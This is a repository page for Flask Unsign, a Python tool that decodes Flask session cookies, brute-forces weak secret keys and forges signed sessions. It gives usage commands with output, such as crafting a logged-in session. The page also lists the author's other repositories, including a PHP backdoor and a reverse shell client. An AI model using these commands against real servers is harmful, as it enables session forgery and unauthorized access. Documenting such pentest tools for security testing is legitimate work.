• Stars
    star
    289
  • Rank 142,596 (Top 3 %)
  • Language
    Python
  • License
    MIT License
  • Created over 5 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.

Flask Unsign

Build Status PyPI version codecov

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. For the standalone wordlist component, please visit the flask-unsign-wordlist repository.

Requirements

  • Python 3.6+

Installation

To install the application, simply use pip:

$ pip3 install flask-unsign[wordlist]

If you only want to install the core code, omit the [wordlist] suffix:

$ pip3 install flask-unsign

To install the tool for development purposes, run the following command (after downloading a copy):

$ pip3 install -e .[test]

Usage

To get an overview of all possible options, simply call flask-unsign without any arguments like so:

$ flask-unsign

Obtaining & Decoding Session Cookies

Due to the fact that Flask cookies are signed and not encrypted, it's possible to locally decode the session data. For this, you can use the --decode argument.

Session cookies can be obtained by inspecting your HTTP requests using a proxy like Burp Proxy, using your browser's network inspector or using a browser extension to view/change your cookies. By default, Flask uses the session name "session".

$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

You can also use Flask-Unsign's automatic session grabbing functionality by passing the --server argument, instead of the --cookie argument. Do note however, that not all web pages might return a session, so be sure to pass an url which does.

$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Unsigning (Brute Forcing Secret Keys)

After obtaining a sample session cookie, you'll be able to attempt to brute-force the server's secret key. If you're lucky, this might be set to something easy to guess, or if it's been found online, it might be in one of your wordlists. For this, you can use the --unsign argument.

$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Signing (Session Manipulation)

Once you've obtained the server's secret key, you'll be able to craft your own custom session data. For this, you can use the --sign argument.

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Troubleshooting

  • Installing the program results in an error
    • You might be using the wrong pip binary, try using the following command: python3.6 -m pip install flask-unsign
  • I found a secret key, but my crafted sessions don't work!
    • It might be possible that your target server uses an older version of itsdangerous. Due to an issue with timed sessions, the timestamp generation algorithm was changed. To generate an older signature, try using the --legacy option.
  • My wordlist doesn't work
    • Wordlists expect to be newline delimited python strings (meaning you need to encapsulate them in quotes), this is so that binary strings can easily be stored in a newline format. If you don't want this, you can disable this feature by passing the --no-literal-eval argument.

How it works

If you're wondering how exactly this works, refer to my blog post which explains this in great detail, including a guide on how to protect your own server from this attack.

License

MIT License

Copyright (c) 2021 Luke Paris (Paradoxis)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

More Repositories

1

StegCracker

Steganography brute-force utility to uncover hidden data inside files
Python
491
star
2

PHP-Backdoor

Your interpreter isn’t safe anymore β€Šβ€” β€ŠThe PHP module backdoor
C
215
star
3

Gordon

Ever wanted to get yelled at by Chef Ramsay whenever you inevitably fuck up your script or make a typo on the command line? Well now you can.
Shell
69
star
4

Windows-Sound-Manager

Control your volume mixer on windows with Python 3
Python
51
star
5

OSRS-Font-Parser

Make your website relive your nerdy childhood
HTML
31
star
6

Flask-Unsign-Wordlist

The following package is the standalone wordlist-only component to flask-unsign.
Python
29
star
7

PIP-Module-Scanner

Scans your Python project for all installed third party pip libraries that are used and generates a requirements.txt file based on it
Python
20
star
8

Reverse-Shell-Client

The reverse shell client is a Python based alternative for a netcat reverse shell listener
Python
19
star
9

Facebook-CSharp-Ads-SDK

A third party Facebook Ads SDK (Marketing API) wrapper for C#
C#
16
star
10

Git-Fingerprint

Git Fingerprint is a web fingerprinting tool that attempts to scan a target based on the files a git repository by enumerating over all files ever found in the public web root and comparing cryptographic hashes of each commit, branch or tag in order to calculate the best possible match.
Python
8
star
11

TransIP-STACK-API

(Deprecated) Unofficial wrapper for the TransIP STACK API, written in Python 3.
Python
7
star
12

SHA2017

All finished projects written during the SHA2017 camp
Python
7
star
13

Fizz-Buzz

Ace that job interview with minimal effort, good developers write clean code, master developers don't write any at all.
Python
5
star
14

Hogeschool-Rotterdam-Course-Scraper

Rather than going through the absolute hell that is the school system called 'OSIRIS', I decided to just write a scraper and generate a beautiful and searchable website to do the same instead. Also a full website authentication 'framework'
HTML
3
star
15

PHP-security-classes

PHP essential security simplified
PHP
3
star
16

Arduino-Morse-Code-Translator

Arduino application written in C that translates a string of text from ascii to morse code and flashes to output on an LED
Arduino
3
star
17

Fuck-The-Youtube-Homepage

Can't stand the 'innovative' YouTube homepage? Good, me neither.
JavaScript
2
star
18

Let-There-Be-NewLines

Replaces all newlines in the bio of every GitHub profile page, because seriously, why isn't this a thing yet?
JavaScript
2
star
19

Angular-2.0-todo-list

Sample todo list app written in Angular 2.0 and Materialize CSS
HTML
2
star
20

VeilingOneMen

Open-sourced legacy project, promotional website for a charity auction
HTML
1
star
21

OSRS-Script-Map

OSRS world map which allows for coordinate mapping for scripts - fork of explv.github.io
JavaScript
1
star
22

Siek-Communicatie

Source code of the website www.siek-communicatie.nl, built in February of 2015 with PhalconPHP
PHP
1
star